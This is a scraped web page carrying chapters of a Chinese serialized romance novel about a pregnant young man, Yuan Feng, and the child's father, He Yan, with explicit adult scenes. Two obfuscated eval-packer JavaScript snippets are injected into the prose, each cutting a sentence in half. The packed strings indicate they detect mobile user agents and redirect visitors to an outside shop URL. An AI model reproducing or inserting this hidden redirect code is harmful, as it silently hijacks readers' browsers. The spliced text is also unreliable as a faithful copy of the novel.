孩子爷爷不是天天来,还凑合。让孩子奶奶再搬回家住肯定不合适,现在只能等胎儿稳定下来,拜托贺总去张口请他们回去了。 关于那份还未签订的协议的内容,其实贺总提的要求不算过分。如果接受的话,以后的衣食住行方面不用愁,孩子也能享受最好的教育资源。 但孩子不是用来交易的商品,生下来是要负责的。这个意外而来的小生命注定要有个单亲爸爸,自己何苦再生一个交易品出来。 看来得找个机会跟贺总重新谈一谈,那些物质他不要,奖励还愿意给的话就收个几万块钱。孩子可以见爷爷奶奶,偶尔过去小住,抚养权必须是自己的。不知道这样行不行,叔叔阿姨应该不会有意见吧…… 元丰越想越迷茫,想到心烦意乱。 他拿起手机,看到两条未读短信。 “今天在郊区,我上哪儿快活?” “早点睡,听话。” 你爱上哪儿上哪儿,关我屁事。 这头,贺颜跟女助理通完电话,收到元丰回过来的短信,只有一个“哦”。 小孕夫的情绪实在难以捉摸,前几天刚夸完懂事儿,这就因为玩笑话闹上脾气了。 他没有再回复,趁着助理来之前,看起了防辐射衣。 了解下来,贺颜发现这玩意儿确实没太大意义。为了哄元丰高兴,他挑了个高端品牌,直接进官网下单订了最贵的一款,是个两件套。不得不说,这些防辐射衣的款式还挺特别,弄得跟情-趣内衣似的。 他盯着模特效果图,想象不出那小子穿上会是什么样。 隔天晚上,元丰没有等到贺总的电话。他盯着手机发呆,已经九点半了。 算了,不打也好,打了反而不好。 自己只是太无聊,想找个人说说话,没有在期待什么。 换个人聊天也行,可以找陈硕找许辉找…… 元丰用力按着电源键,关机了。他闭上眼睛准备睡觉,大脑却不受控制地想起了贺颜。想对方是不是正在哪个高级会所里风流快活,所以忘了给自己打电话。 贺颜正在酒店里“风流快活”,这场临时会议开了近两个小时。 他打算明天带着女助理提前回去,剩下的交给副总张宏彬。等开完会,他才想起自己好像漏了点什么。 冲澡的时候,贺颜反应过来了。 高强度的脑力工作让他忘记给元丰打电话,现在这个点太晚,那小子估计睡着了。 * 终于可以出门,元丰六点就起床了,却没什么精神。开机后的手机很安静,没有来电提醒也没有短信。 操,自己这是干吗呢?傻逼吗? 他调整好心态,有说有笑地跟贺总爸妈一块儿吃完早饭,去了医院。 等检查结果时,元丰接到好兄弟许辉打来的电话。“小丰,在干吗呢?” 幸好叔叔阿姨和院长在外头的客厅聊天,他低声回道:“在做报表,咋了?” “忙不忙啊?” “不忙,你说你的。” “不忙就好,后天我媳妇儿过生日,你晚上加班不?”许辉笑道,“咱们找个饭店,好好搓一顿。” “……” 元丰不知道要不要把怀孕的事儿告诉兄弟,迟疑片刻后,他不好意思地说:“真是对不住啊,要加班,手上一堆活儿。” “操,你们老板就知道压榨员工。”许辉有些可惜,“我媳妇儿还准备带几个小姐妹过来,想介绍给你认识认识。” “我连公司前台那小姑娘都拒绝了,还介绍啥啊?” “怂包蛋!”许辉恨铁不成钢,“你怕这怕那,真准备孤独终老啊?” “……” 要换以前,元丰是百分百乐意去的,就算处不了对象,跟美女们聊聊天也挺有意思。 他想说自己不是怂啊,是他妈怀孕了!不过就算没怀,自己还能跟女孩子愉快地谈天说地吗? 大概不能了吧…… P(孕酮)20.36ng/mL β-HCG17828↑mIU/mL 元丰盯着报告结果,心情是无比激动,连早上那点不愉快都给忘了。孕酮终于上来了,医生说HCG的翻倍不错,保胎针还需要继续打,打到孕酮值超过25才安全。屁股上受的罪,值了。 只要孩子好好的,那点疼算个啥? 他激动地掏出手机,在通讯录里找到孩子他爹,即将拨通的那一瞬间,动作突然顿住。 * 陈硕最近很闲,元丰那里有贺总的父亲在照顾,已经不需要他。 他享受一个人独处的世界,宅在家里尽情追了好几天的宫斗剧。 前阵子出了一部新剧,悬疑破案的。陈硕打算换换口味,刚打开视频网站,贺总的专属铃声响了。 “贺总。” “嗯,你中午去趟公司,有个快递拿了送到机场来,我大概一点到。” “好的,贺总。” “在医院吗?” “贺总,我不在医院里。锦西湾那边有您父母在,我这几天没有过去。” 电话那头突然沉默,陈硕也突然有种不好的预感。元丰怀孕了,他不确定贺总会不会再找情人,如果不找,自己大概率是要失业了。 “你跟李格怎么回事儿?” “……” 贺总的提醒让陈硕想起三天前家门口发生的事情,他有些头疼,如实回道:“我已经明确拒绝了他的追求,不会再有牵扯。” “……” “给您造成麻烦,非常抱歉。” “还行,你甭搭理他。” “好的,贺总。” “东西别忘了,挂了。” “好。” 机场VIP贵宾室。 贺颜前天晚上接到表弟电话,说想挖陈硕过去当助理,请他务必放人。家里现在有个爱闹脾气的孕夫,哄都没时间,更别提包养情人。如果陈硕愿意过去,他倒是没意见。 搞了半天,是在招情人。 他给李格发了条短信,警告对方少抽风。 三个多小时后,下了飞机的贺颜收到元丰发来的短信,只有短短五个字儿。 “数据上来了。” “贺总,车来了。”邵彤出声提醒道。 贺颜收起手机:“你跟车回去吧,我还有安排。” 公司派来的车只是为了接自己,邵彤有些感动:“贺总,您坐吧。我去那边打车。” “不用,我叫了陈硕。”贺颜说,“给你放两天假,回去好好休息。” “谢谢贺总!”邵彤激动地挥挥手,“贺总再见!” 等待的间隙里,贺颜拨打元丰的电话,想好好问问检查结果。 “对不起,您所拨打的用户已关机,请稍后再拨。Sorry,thesubscriberyou...” “……”这小子又学会关机了,挺好。 贺颜没回自己住处,直接去了锦西湾。一进屋,听到客厅里头有说有笑,话题与毛衣有关。 他放下行李箱走过去,见保姆正在教母亲怎么织毛衣。 “确实挺难啊……”闵兰瑛接过棒针,余光瞥见一道身影,转头一瞧,惊讶道,“你怎么突然回来了?” “提前忙完了。”贺颜在单人沙发上坐下,“妈,您这是准备给孩子织毛衣?” “是啊,不学不知道,还真是不简单。”闵兰瑛只学了个开头,刚会起针。 贺颜可算见识到隔辈亲的力量,自己小时候哪有这种待遇? 他盯着母亲腿边的灰色线团,问:“怎么织灰色的?没准是个姑娘。” 保姆刘秀珍解释道:“这是织剩下的线,没用了。” “我先练练手,学会了再给小元宝织一件。”闵兰瑛说道。 贺颜一愣:“小元宝?” “瞧这爹当的,自个儿孩子小名都记不住。”刘秀珍笑道。 “小丰昨天跟我们商量来着,元宝是他取的,我和你爸都觉得挺好。” “……” 合着自己就是个提供J子的局外人,没有给孩子取小名的资格,亲爹还比不上爷爷奶奶。贺颜心里着实有些不痛快,孩子不跟贺家姓,他对小名大名没什么意见,只要元丰满意。 但这小子真是一点都没把他放在眼里,忒他妈欠收拾,闹脾气也该有个限度。 他站起身说道:“我去看看他。” 小别胜新婚,闵兰瑛笑着叮嘱:“小丰打完针就睡了,你轻点,别吵醒他。” “嗯,我尽量。” 闵兰瑛继续起针,感慨道:“一回来就惦记,这俩孩子感情真不错。” “是啊,确实挺好。”刘秀珍是看在眼里的,自打元丰出现,贺总在锦西湾留宿的日子也变多了。 贺颜提着装有防辐射衣的礼盒,轻轻打开门。卧室里很暗,床上的人背对着他,似乎睡得很熟。他关上门,放下手中的东西,去了卫生间。 元丰心里藏着事儿,好不容易酝酿出一点睡意,被轻微的脚步声给吵醒了。 怪了,阿姨每次过来都会先敲门的。 他迷糊地睁开眼睛,声音又没了,室内一片安静。可能是今天想太多,脑子糊涂了。重新闭上眼后,卫生间里传出清晰入耳的流水声。 操,不是幻听啊! 睡意彻底被驱散,元丰坐起来,冲卫生间的方向叫了声阿姨。 贺颜没有理会这声阿姨,擦着手上的水,目光在淋浴墙和马桶之间来回扫了两眼。从安全扶手以及防滑措施来看,父母很重视元丰,也很期待这个小生命的到来。 得,元丰现在是贺家大功臣,自己跟一二十出头的小屁孩儿计较什么。 怎么不吱声啊,难道是刘姨?元丰打开床头暖灯,准备过去看看,脚还没碰到拖鞋,卫生间里的人出来了。 高大健硕的身形,硬朗帅气的五官,是他今天一直在想的男人。 他惊道:“你……你咋突然回来了?” 贺颜故作严肃:“回来收拾你。” “……”元丰白天在医院里想明白了,等元宝满三个月稳定下来,跟贺总提一下协议的事儿。 到时候不管对方接不接受,至少自己能独立行动。他不会再冲贺总发脾气,也不想那些有的没的了。 当务之急,得先道歉。 “我手机没电了,刚跟你发完短信,它就自动关机了。” 贺颜还什么都没提,这小子就不打自招,开始睁眼说瞎话。 他盯着对方没吭声,踱步至床前。 元丰被盯得心里发毛,摸不准贺总的态度,明明昨天之前还会一直关心自己。 他委屈道:“我不是故意的,昨晚忘记充电了,早上也来不及充,你不能因为这个就跟我生气啊……” 还委屈上了,贺颜一笑:“我今天什么时候给你打电话了?” “……” “谁敢跟你生气?不会撒谎就别撒。”贺颜坐到床边,伸手摸上元丰睡乱的黑发,替他捋了捋,“实在想撒,多练练演技。” “……”元丰低头哦了一声,“不敢跟我生气还说要收拾我。” 贺颜又摸上元丰平坦的腹部:“你这肚子里头有个小元宝,我怎么收拾?” 元丰听懂了,忍不住小声问道:“你昨晚没出去收拾别人吗?还收拾我干啥……” 原来闹脾气的点在这儿,贺颜简短地解释道:“我出差是忙工作,昨晚临时有会议,开完提前回来了。” 元丰问完就后悔了,自己为啥这么在意贺总有没有跟别人上-床。可是听到贺总的解释,他又庆幸自己问了这个过界的问题。 “取了小名怎么不告诉我?”贺颜问。 元丰喜欢“元宝”,元是他的姓,宝是上天赐给他的宝贝,这个寓意很好。 取完孩子乳名时,他觉得自己特别聪明,颇有取名天赋。得到孩子爷爷奶奶支持后,他迫不及待想要将这份喜悦传达给孩子他爹。 他昨晚一直在等,心里那股热情在等待中一点一滴耗尽,决定关机也是因为意识到自己又得意忘形,想多了。 习惯真是可怕啊,等戒掉每晚必打电话的这个习惯,应该就不会产生一家三口的错觉了吧…… “发什么愣?”贺颜轻轻抚摸着元丰的肚子,夸道,“名字取得不错。” 元丰盯着肚子上的那只大手,突然有些难过。他抓住贺总的手,缓缓说:“元是我的姓,宝是宝贝的意思,所以取了元宝。打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658626|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算等你回来再告诉你的,就没说。” “既然是宝贝,得好好护着。”贺颜放开元丰的手,起身去拿地上的东西,从纸袋里抽出盒子。 元丰看着递到自己跟前的精致礼盒,好奇道:“这是啥东西啊?” “不是想买防辐射衣吗?我亲自挑的,今天刚到。”贺颜说,“打开看看。” 元丰没想到贺总效率这么高,还是亲自挑的,难过的情绪瞬间消散。 他高兴地打开盒盖,是可以穿的灰色,旁边还有块银灰色的布。等拿起那块布展开,脸直接黑了。 丝滑的布料上方是根套脖子上的细带子,另外两边各有一根细长的带子。这……这他妈不是古代女人穿的肚兜吗?叫人怎么穿啊! 贺颜抽走元丰手里的肚兜,放在他胸前比画了下:“穿上试试。” “我不穿!”元丰抗议,“这是女人穿的,你咋买这个啊?” “你不要裙子不要粉色,这个不正好吗?”贺颜直接上手开始解元丰睡衣的纽扣,“换上,听话。” 元丰推着贺总的手,继续抗议:“我不听!我又不是女的。” “谁说你是女的了?” “我穿那件灰色的试试,这个我真接受不了啊。” “你天天抱着个手机,知道辐射的危害吗?”贺颜面不改色地说,“可能会导致孩子畸——” 元丰猛地捂住贺总嘴巴:“呸呸呸!你胡说啥啊?还是不是孩子他爹?” “好赖不分,赶紧穿上。” “……” 元丰被贺总的话吓到了,为了元宝,只能无奈脱下睡衣。他注意到贺总直白的目光,有些不好意思:“你别看我行不行啊?” 贺颜笑道:“我看得还少吗?” “……”元丰自己也不知道怎么回事儿,就感觉比打炮还让人不自在。 他别扭地把肚兜套在身上,俩手拉着带子往后伸。妈的,真是浑身不得劲,自己为啥要穿这玩意儿? 灯光衬得元丰皮肤越发白皙晃眼,丝滑柔软的布料在拉扯中紧紧贴着胸口…… …… 身体变得好奇怪…… 贺颜手指隔着肚兜轻轻刮了几下,调侃元丰:“奶粉钱省了。” “你别乌鸦嘴了行不?”元丰费劲地打完结,推开胸前那只手嘀咕,“就知道看,也不帮我系一下。” 肚兜稍稍绷紧,便可以看见明显的轮廓,贺颜是成心的。 他发现怀孕后的元丰特不禁逗,性子也变了。不过都在能接受的范围内,多哄着点没坏处。 “裤子脱了,我看看屁股上扎了几个洞。” “……” 元丰坐在床上根本不敢动,不对劲的身体现在要多难受有多难受。 他拿起一旁的睡衣往身上套,故意打了个哈欠:“有啥好看的,我困了……” 睡衣领口有些大,白皙的脖颈上挂着一根细带子。贺颜看了两眼,目光顺着锁骨往下移,察觉到了元丰的不对劲。 …… 冲完澡,贺颜去客厅陪母亲聊了会儿天,顺便问起元丰今天的检查结果。 “保胎针再打一星期去复查,没问题就能停了。”闵兰瑛心疼地说,“你说要个孩子得受多少罪?好在小元宝没闹他,现在能吃能睡也不吐。” 贺颜笑了笑:“怀之前就挺能吃,跟猪似的。” 闵兰瑛瞥了儿子一眼:“小丰这孩子不错,你可得好好对人家。” “他给您灌了什么迷魂汤?怀个孕不至于。”贺颜出柜十多年,知道父母是无奈接受,并不想看到他跟男人搞在一起。 “别胡说。我跟你爸看人准,小丰这孩子确实不错,是个会过日子的。” 贺颜已经能猜到下面的话,他打断母亲:“我知道他会过日子,所以孩子跟着他我放心。” 闵兰瑛一时没听出意思,继续道:“等孩子生下来,你俩这事儿也得办一办,愿意上国外领证就去领了吧,你爸没意见。” 越说越离谱,贺颜不想再谈这个话题:“我的事儿,您俩甭操心。” “怎么不操心?我跟你爸多大岁数了?”闵兰瑛语气有些急,“你说你换了一个又一个,马上三十二的人了,准备什么时候定下来?” “现在就挺好,没有定下来的打算。”贺颜说,“他跟孩子我都会负责。” “你不定下来你处什么对象?生孩子是闹着玩的?”闵兰瑛拿起手机,“你能耐,我是管不动你了,这就给你爸打电话!” “……” 贺颜没料到母亲会是这么个态度,他受不了唠叨,起身抢走她的手机:“我跟他才哪到哪?等孩子生下来再说。” “小颜啊,妈从小怎么教育你的?”闵兰瑛语重心长地说道,“你以为弄个孩子简单容易,咱家有钱不愁养是不是?负责俩字儿,嘴上说说就管用了?有了孩子就得有个家样儿,你得扛起责任。这人也是你自己选的,我跟你爸——” “定定定!您说了算!”没完没了的长篇大论,贺颜都怕了,“处得好就定,我先去书房处理点事儿。” “都要当爹的人了,给孩子做个好榜样。” “……” 贺颜自然知道养孩子不是那么简单,尤其教育方面。 母亲这话让他意识到一个被疏忽的问题,光有学校教育还不够,二十二岁的元丰能教好孩子吗?这小子自卑又好面子,过于在意旁人眼光。 他突然有些不放心把孩子交给元丰。 闵兰瑛没再说什么,准备继续织毛衣,结果忘了该从哪儿下手。保姆出去买菜了,她一个人捣鼓半天也没弄好。 晚上吃饭,元丰总觉得怪怪的。他跟叔叔阿姨有说有笑,天南海北的啥都聊。身边坐着的男人偶尔应上一两句,话特别少。 贺颜终于知道元丰给父母灌了什么迷魂汤,那小嘴是真能叭叭,仨人聊得还挺欢,自己倒像个蹭饭吃的局外人。 “我们小丰就是能干!”闵兰瑛笑着拿起碗,说道,“阿姨给你盛点汤。” 元丰立刻放下筷子和饭碗:“阿姨,我自己——” “妈,我来吧。”贺颜主动接过母亲手中的空碗和汤勺,盛了大半碗汤端到元丰跟前,“烫,慢点喝。” 在长辈面前被贺总贴心照顾,元丰怪不好意思的,低头嗯了声。 闵兰瑛对儿子的表现很满意,与丈夫相视一笑。 这顿饭吃得元丰喜滋滋的,贺总还给他夹了好几次菜,叮嘱他吃慢点。他在客厅陪叔叔阿姨待了会儿,回卧室躺着休息了。 贺总对自己真好啊。 23. 第 23 章 元丰盯着天花板,回想吃饭时的那些小细节,可算发现怪怪的感觉从何而来。 打从坐下那一刻起,他又产生错觉了,叔叔阿姨变成了老丈人和丈母娘,自己跟贺总好像在处对象。 处对象…… 唯独一个人的滋味儿,元丰适应了这么多年却始终无法习惯。 十六岁那年,攒了些积蓄的他决定到大城市开开眼界。原本想去上海的,在颠簸的途中偶遇了同村的许辉,跟着他来到了这座城市。 元丰干过很多活儿,最有经验的是在饭店后厨里当杂工。许辉有个堂哥在饭店里做厨师,当时正好缺个手脚勤快的小工,就介绍他去了。 他到现在还记得那家饭店的名字,叫“好再来大饭店”。在那里,他认识了初恋小静。 说是初恋,其实压根没处过。元丰不敢跟小静说话,只敢偷偷看她。夜深人静时,他想着白天见过的笑脸和鼓起的胸脯,身体会起反应。他第一次有了x幻想对象,也是第一次产生想要处个对象的念头。 有那么一瞬间,元丰竟觉得如果能跟贺总处对象,也挺好的。 一闪而过的念头似乎比六年前来得要强烈,贺总不会嫌弃他多长了个批,应该是喜欢的吧?而且贺总还是孩子亲爹,真处的话,元宝不就有个完整的家了吗? 仔细一琢磨,老产生错觉是好事儿啊!说明贺总一直在关心他和元宝,出差忙工作也不忘惦记他俩。 元丰豁然开朗,激动地想找个人说说话,忍不住拨了好兄弟的电话。 一接通,他就笑着问:“吃了没?” “小芳正做着呢,后天又有时间过来了?” “没啊,就是找你闲聊天,礼物过两天给你媳妇儿补上。”元丰怕怀孕这事儿吓到兄弟,打算找个机会当面再说。 “嗐,补什么啊。”这么多年兄弟,许辉已经足够了解元丰,“说吧,有喜事儿了?” 元丰想了想,说道:“我之前不是拒绝了公司前台那姑娘吗,其实是因为有个正在处的……” “我去!”许辉惊道,“你小子也忒会瞒了!” “没瞒啊,我跟他不算是对象。” “不是对象是啥?难不成是炮-友?” “嗯。” “我操!你这闷声不响的,一出就是王炸啊。”许辉赶紧关上房门,低声问道,“怎么还找了个炮-友?她知道你那毛病了?” “这个说来话长,回头当面聊。”元丰笑着说,“他人挺好的,没嫌弃过我。” 说话都带着笑,许辉却没法替元丰高兴,他担心好兄弟被玩弄感情,提醒道:“人好怎么还是炮友?为啥不跟她处对象?” “刚才就在想这个事儿呢。”元丰说,“我打算跟他处处,要合适的话,就他了。” “……” 感情是两个人之间的事儿,许辉作为过来人,一听就知道元丰可能陷进去了,第一次谈恋爱投入过多也正常。 他劝说道:“你当结婚是儿戏呢?关乎一辈子的幸福,别稀里糊涂的。” “过日子天天柴米油盐,有啥幸不幸福的,我现在挺好啊。”元丰说完又补充,“他很靠谱的,对我和元,对我也特别关心,这就够了。” “敢情你就是在凑合呗?” “没凑合啊。” 许辉弄不懂了:“那你到底喜不喜欢她?” “……”元丰被问住了。 “你说你,还真是稀里糊涂的。”许辉决定替兄弟把把关,“等哪天空了,把人带出来一块儿吃个饭,我给你好好看看。” “啊?看啥啊。” “看你炮-友,我这关过了你才能跟她处。” “……” “小芳喊我吃饭了,回头联系。” “……” 元丰没有正儿八经地谈过恋爱,对初恋的感觉也忘得一干二净,只记得那阵子冲动强烈,特想告别单身。后来遇到的那几个女孩儿,他始终保持着合适的距离,只偶尔调戏两下子。 喜欢跟贺总做,应该算喜欢吧? * 贺颜拿着元丰的睡衣和内裤,打开房门。床上的人看到他,惊得一哆嗦,随后移开视线,那惊慌失措的模样像是背着自己干了坏事儿。 他走过去:“藏了什么?” “我没藏东西啊。”元丰伸出藏在背后的右手,把锁了屏的手机递给贺总看,“就手机。” 贺颜直接抽走那部手机,将叠好的睡衣和内裤放在床上,说:“去洗澡。” 元丰真是服了自己,查查喜欢是什么感觉而已,有啥可心虚的。 他拿起换洗衣物,淡定地说:“那我去洗澡了啊。” “手机密码。” “……”元丰脚步一顿,慌了,“你要看啥?” 怀了孕还不安分,贺颜问道:“刚才在干什么?” 跟贺总当面谈喜不喜欢怪不好意思的,元丰说不出口,胡诌道:“手机里有小电影,忍不住看了一会儿。” 这下贺总应该不会再追问了。 贺颜确实信了,他将手机递给元丰:“把小电影打开。” 元丰没想到贺总居然要看,立刻道:“是男女的啊,我怕你看了阳……阳气不足!我去洗澡了。” “……” 贺颜懒得跟孕夫计较,开始脱衣服。 元丰脱掉睡衣,慢慢解下肚兜。虽然样式有点像女款,但穿着很舒服。一想到这件防辐射衣是贺总亲自选的,心情就莫名舒畅。 网上说了,喜欢是高兴,心情会愉悦,心里想啥都有盼头。 他一边哼着曲儿一边叠肚兜,卫生间的门开了。 “洗完还得穿,叠什么?” “那也要叠好。”元丰侧头一看,贺总全身赤裸。他不自觉地多瞄了几眼,真他妈有男人味儿。 “贺总,是要一块儿洗澡不?” “你洗你的。”贺颜说。 元丰又感动了,心情舒畅到极点。他想说防滑措施做得很好,洗澡不需要人盯着。可贺总是在关心自己,真好啊。 “那你为啥脱光啊,我还以为……” “以为什么?”贺颜走过去,拿起花洒,“省得溅一身水,过来洗澡。” 元丰嘿嘿一笑:“这就来!” * 贺颜是想去客房睡的,奈何房子不够大,总不能赶他妈走。 这套大三居一间主卧两间次卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658627|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其中一间被他改成了书房。旁边躺着的人能看不能睡,他只好闭目养神。看来得换套大房子,到时候还要给元丰单独准备个书房。 正琢磨换哪套时,胸前爬过来一只咸猪手。 他捉住那只手,低声警告:“老实点。” 这手真热乎啊,元丰高兴地往贺总那儿靠了靠,小声问道:“贺总,你想没想过以后的生活啊……” 因为元宝的意外出现,贺颜确实想过不少。他简短道:“想过。” 元丰又问:“想啥了?” 贺颜放松地躺在床上,淡淡回道:“怎么教育元宝,你这小子实在让人不放心。” “是辅导功课不?” “这个看情况,不行请家教。” “哦哦。”元丰咧着嘴,“你工作那么忙,要不还是我来吧。” “你会吗?” “再过俩月我就可以学习了,不知道能不能学会。” “你这脑瓜子,难说。” “别看不起人啊,我小学二年级成绩可好了。”元丰絮絮叨叨地说起自己一二年级里拿过的奖状,期末语文数学都考了100分,老师一直表扬他,还奖励他泡泡糖。 “我没舍得吃,一直藏在抽屉里,结果让小秋给翻出来吃了。” “哦,小秋是我三妹,小时候挺调皮的。” “不过没小俊皮。” “也不知道咱们孩子以后皮不皮……” 元丰正纳闷贺总今晚怎么没嫌他啰唆,耳边传来平稳的呼吸声,居然睡着了。 他轻手轻脚地爬起来,打开床头暖灯。 安静的夜晚,元丰坐在男人身边,第一次认真打量起那张好看的睡颜。 贺总连将来怎么教育元宝都想过了,肯定会是个好爸爸。比起单亲家庭对孩子造成的影响,果然还是应该努力给孩子一个完整的家。 他静静地注视了许久,目光停留在某一处。 像是为了确认什么,元丰动作缓慢地靠近熟睡中的男人,低头亲了上去。 触感软软的,原来亲嘴是这种感觉啊。他微微张开嘴,伸出舌尖,小心翼翼地舔着男人紧闭的双唇,没啥味道,还是软软的。 之前接吻时他都快被折腾死了,根本没工夫回味是什么感觉。 元丰此刻明白了接吻的滋味儿,心情越发舒畅,甚至有些意犹未尽。他打算再舔两个来回就睡觉,胳膊猛地被攥住。 “我操!”元丰吓得及时退开,支吾道,“你,你咋醒了……” “你在干什么?”贺颜皱眉看向元丰。 “我……我没干吗啊。”元丰做贼心虚,眼珠子乱转,“我看你嘴上有脏东西,想帮你擦擦。” 贺颜被撩拨得睡意全无,盯着元丰:“什么脏东西,你的口水?” “……”贺总好像很生气的样子,元丰赶紧认怂道歉,“我错了,刚才不知道咋回事儿,就,就忍不住想亲一亲……” “忒他妈欠。”贺颜护着元丰的肚子将他压在身下,用力吻了上去。 “唔……” 元丰心里乐开了花,伸出双手搂紧贺总的脖颈,配合地张开了嘴。 跟喜欢的人接吻,感觉真不赖啊。 24. 第 24 章 因为偷亲事件,元丰遭了不少罪。 他知道贺颜憋坏了,所以努力配合,本以为能一块儿爽爽的,可真是受了大罪,屁股还被打了,欲哭无泪。 “下回还闹不闹了?”贺颜扫了眼满脸委屈的元丰,用热毛巾轻轻给他善后。 “唉,难受死了。”元丰自言自语,“啥时候才能痛快来一发啊……” “明年。”贺颜笑,“早干什么去了?” “千金难买早知道啊。再说了,那会儿没觉得多爽,就是疼。”元丰见贺总一直盯着自己那儿瞧,突然有些不好意思。 怪了,以前还不会这样的啊。 “该。”贺颜起身说,“行了,睡觉吧。” 元丰不再说谢谢,起身开始穿裤衩和防辐射肚兜。肚兜打结很麻烦,他耐心地捣鼓着…… 洗完手的贺颜走出卫生间,脚步一顿。 …… “瞎摸什么?” “啊。”元丰吓一跳,慌忙理好肚兜拉着带子往后系。他感觉自己的脸很热,越想系起来越系不好,急得抬头抱怨道,“这防辐射衣忒麻烦了,你快帮我系上!” 贺颜走到床边坐下,伸手接过两根细带子,不紧不慢地打了个蝴蝶结。 打完后,他盯着白皙光滑的背脊看了一会儿,双手穿过元丰腋下…… “不睡觉,发什么骚?” “嘶……”元丰反驳,“我没啊,你别胡说!” 贺颜松开手,拿起旁边的睡衣套在他身上,催促道:“赶紧睡觉。” “哦。”元丰默默扣着纽扣,还以为贺总会多摸几下的。 他无声一叹,怎么怀了孕这么饥渴啊,难道元宝是个小子? 贺颜闭上眼睛没多久,耳边传来元丰的低语:“偷偷告诉你,元宝可能是男孩儿。” “……” 元丰关掉暖灯,摸黑钻进男人怀里,小声道:“你听见没啊?” “听见了,怎么判断的。” “网上看到的,说是如果怀孕期间特想打炮,就是男孩儿。” “……”贺颜揽过元丰,“少看这些乱七八糟的,睡吧。” 元丰静静躺了会儿,又小声问:“那你喜欢儿子还是闺女啊?” 这嘴真是一刻也没闲着,贺颜对孩子性别没要求,低声道:“你生的都喜欢。” “……” 元丰本想问问贺总要不要处对象,但贺总今晚说的话做的事儿,不就已经是在跟他处对象了吗? 给他盛汤夹菜,怕他摔着还帮他洗澡擦背,不光考虑了将来的生活,连怎么教育元宝都考虑了。 而且不重男轻女,只喜欢他生的孩子…… 室内安静得能听到彼此的呼吸声,片刻后。 “孩子他爹,我能亲你不?” 贺颜头回听到元丰这么称呼自己,不禁一愣。 元丰心里莫名有点紧张,等不到答案更紧张了。他捏住男人的手,无意识地撒起娇:“亲完就睡觉,好不?” 贺颜笑了:“你说好不好?” “那必须好啊。”元丰跟着嘿了声,小声催促,“来吧来吧。” “自己过来。” “好嘞!” * 在母亲的催促下,贺颜雷厉风行地搬到了锦西湾。其实不用提醒,他也打算搬过来。 因为他发现元丰性子又变了,变得比之前要黏人。每天下班前都会收到一条短信,不是什么甜言蜜语,只有一句:今晚过来不? 一看到短信,脑子里会自动浮现出元丰那委屈巴巴的小眼神。 他特地让陈硕去找了几本与孕期有关的书籍,等拿到手,差点被厚度给劝退。全看完是不可能了,只能通过目录挑些要紧的内容。 怀孕过程很辛苦,孕妇情绪会不稳定,影响胎儿发育,严重的甚至会产生抑郁症,有轻生念头。每个孕妇孕期都渴望得到关心与呵护,最重要的还是陪伴。 怪不得这小子越来越黏人,现在睡前必须抱着亲两口才肯好好睡觉。 为这事儿贺颜也挺头疼,除了尽量满足,别无他法。倒不是排斥接吻,而是一亲就容易擦枪走火。他能自己动手丰衣足食,元丰那儿只能憋着,憋急了还闹脾气,吵着要做。 忒他妈磨人,累得慌。 元丰躺在男人怀里,把玩着对方的手指,问道:“明天要复查了,你陪我去不?” 贺颜摸着光滑的小屁股,嗯了一声问:“就抽个血?” “对,大夫说等七到八周再做个B超看看。”元丰高兴地说,“元宝现在有葡萄干那么大了!” “嗯。” “等他有枇杷那么大,就能做了。” “嗯。” “还要一个半月,时间过得好慢啊……” “你可以让它变快点。” “咋变快?” “马上睡觉。” “……”元丰无语了,“你是不是嫌我啰唆了啊?” “没有。” “那你对我爱搭不理的,还催我睡觉。”元丰嘀咕,“也没那啥……” 又来了,贺颜耐心哄道:“只能亲一下,明天要去医院,得早点睡。” “明白!”元丰乐呵呵地仰起头,等着贺总亲他。 高中毕业后,贺颜就没再亲过谁。起初是新鲜,没尝试过的都会去尝试一遍,初吻给了谁已经没印象了。 最近这些天,接吻次数远远超过十多年前,快他妈三十二岁的人了,还跟小年轻似的动不动接吻拥抱,他心里也说不出是个什么滋味儿,反正不赖。 为了哄着元丰,真是越活越回去了。 * 元丰感觉好久没见到陈硕了,激动地冲他打招呼:“陈助理,早上好啊!” “早上好。”陈硕立刻打开后座车门。 “客气啥,我能开的。”元丰笑眯眯地坐进车里,冲外头站着的男人招招手,又拍拍旁边的座椅,暗示得相当明显。 贺颜盯着座椅上的那只手看了几秒,长腿一跨,矮身坐了进去。 以前没仔细看过,手老被牵了才注意到元丰身子光滑白皙,那双手却有些糙。 后座的俩人正在聊天,一个说一个听。陈硕目视前方,安静地开着车。 他觉得贺总最近变了很多,不仅没有找备胎情人的意思,还试着去了解孕妇的心理健康,这样对元丰也比较好。 所以听说要买书时,他没管是不是孕期,专挑评价高的买,买了《海蒂怀孕大百科》《海蒂育儿大百科》,甚至买了其他的,什么《战胜孕期及产后焦虑》《怀孕与分娩百科全书》《第一次当奶爸》,真心希望这些书能帮到贺总。 复查的日子赶上国庆,外头哪哪都是人,医院里的人流量也比平时大不少。 元丰缩在电梯角落,被高大结实的贺总护在怀里,心里乐得直冒泡。反正人挤人,他借机贴上对方,偷偷摸摸把人给抱住了。 贺颜低头盯着元丰的发旋,这小子的黏人程度日渐增长,不过比以前乖巧懂事儿了,前提是没闹脾气。 出了电梯后,他问:“不怕被人看见?” 元丰嘿嘿一笑:“那么挤,谁看得见啊。” “我旁边那老太太一直在盯着你。”贺颜吓唬道。 